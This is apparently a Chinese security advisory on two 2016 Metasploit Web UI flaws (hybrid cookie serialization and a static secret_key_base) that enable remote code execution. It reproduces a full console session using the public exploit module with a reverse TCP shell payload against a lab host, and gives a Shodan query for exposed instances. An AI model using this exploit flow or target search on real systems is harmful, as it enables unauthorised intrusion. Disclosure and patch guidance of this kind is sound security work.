就在本周,Rapid7社区发布两个关于Metasploit框架的安全补丁,通过这两个漏洞,攻击者可以远程非授权执行任意代码。目前,安全研究人员已经发放出相关POC攻击代码。
漏洞一:Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid
漏洞信息
OVE ID: OVE-20160904-0001
私有披露日期: 2016-09-04
公开披露日期: 2016-09-19
厂商公告 : 点我
影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001
漏洞描述
Metasploit作为一个安全测试框架,里面集成了非常多的功能,比如msfconsole,msfvenom等,并且也提供了非常多的接口和界面,比如shell接口,Windows GUI页面,WEB UI页面等等。而这次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid,并且引入了hybrid cookie序列化,这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401,才将其值设置为:json。也就是说,只要cookie序列化设置为Marshal或hybird时,并且攻击者知道cookie signing key的值,那么攻击者就可以构造cookie,触发Marshal反序列化,实现任意代码执行。
参考
[0] 参考链接——点我
[1] 参考链接——点我
漏洞二:Metasploit本周发布了静态的secret_key_base,这个将会导致远程命令执行代码
漏洞信息
OVE ID: OVE-20160904-0002
私有披露日期: 2016-09-04
公开披露日期: 2016-09-19
厂商公告 :点我
影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001
漏洞描述
通过第一个漏洞,我们已经可以确定cookie序列化设置为hybird,但是攻击者还必须知道cookie signing key的值才可以构造cookie,实现远程代码执行。非常不幸的是,MSF WEB UI中的secret_key_base是静态的,并且该值是公开的。以下是目前已知受影响的MSF的值:
目前这个漏洞的利用脚本已经公开到MSF上,模块位置:
exploit/multi/http/rails_secret_deserialization
大家可以更新自己的MSF使用此脚本,或者去GitHub上下载。
下载地址:点我
使用方法:
msf exploit(metasploit_static_secret_key_base) > info
Name: Metasploit Web UI Static secret_key_base Value
Module: exploit/multi/http/metasploit_static_secret_key_base
Platform: Ruby
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-09-15
Provided by:
Justin Steven
joernchen of Phenoelit <joernchen@phenoelit.de>
Available targets:
Id Name
-- ----
0 Metasploit 4.12.0-2016061501 to 4.12.0-2016083001
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 3790 yes The target port
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to the Metasploit Web UI
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the Web UI for Metasploit Community, Express
and Pro where one of a certain set of Weekly Releases have been
applied. These Weekly Releases introduced a static secret_key_base
value. Knowledge of the static secret_key_base value allows for
deserialization of a crafted Ruby Object, achieving code execution.
This module is based on
exploits/multi/http/rails_secret_deserialization
References:
OVE (20160904-0002)
msf exploit(metasploit_static_secret_key_base) > set RHOST 172.18.0.2
RHOST => 172.18.0.2
msf exploit(metasploit_static_secret_key_base) > set PAYLOAD ruby/shell_reverse_tcp
PAYLOAD => ruby/shell_reverse_tcp
msf exploit(metasploit_static_secret_key_base) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(metasploit_static_secret_key_base) > set LPORT 4444
LPORT => 4444
msf exploit(metasploit_static_secret_key_base) > exploit
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Checking for cookie _ui_session
[*] Searching for proper SECRET
[*] Sending cookie _ui_session
[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:47590) at 2016-09-19 19:26:30 +1000
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
exit
^C
Abort session 1? [y/N] y
[*] 172.18.0.2 - Command shell session 1 closed. Reason: User exit
Rapid7 在 etasploit 4.12.0-2016091401版本中修复了这个问题,将会检测secret_key_base的值是否是默认值,如果是,将重新生成,因此用户要尽快升级到Metasploit 4.12.0-2016091401或以上版本。
参考
[0] https://github.com/rapid7/metasploit-framework/pull/7304
[1] https://github.com/rapid7/metasploit-framework/pull/7341
总结
该漏洞在国内影响或许有些广泛,其主要原因是国内大部分宽带的IP要么是在内网,要么是动态的,并且还有GFW对众多域名和IP的拦截。复杂的网络环境导致大部分黑客会将MSF架设在境外的VPS或者私人服务器上,并且开启WEB GUI接口,以便随时对MSF进行控制和访问。换句话来说,国内有很多安全研究人员的MSF都处在公网IP。实际上该漏洞很早之前就爆料出来,只是
目前通过shodan搜索关键字title:”metasploit is initializing”,我们可以发现大部分公网中的MSF处在美国的服务器上。
梳理了一下这两个漏洞,漏洞的理由流程是
1. 通过漏洞二获取静态的secret_key_base
2. 通过漏洞一构造cookie
3. Marshal反序列化,实现任意代码执行
话说这个漏洞很早就已经爆料出来了,并且想不通metasploit为什么会犯这种低级错误,难道是背后有更多的“故事”?
不过说实话,这个漏洞的理由条件还是非常的苛刻。
1. 对方必须开机MSF WEB GUI接口
2. 对方的MSF版本必须在4.12.0-2016061501至4.12.0-2016083001
3. 对方的MSF需要处于在公网上,或者攻击者可以访问对方MSF WEB GUI的接口
发表评论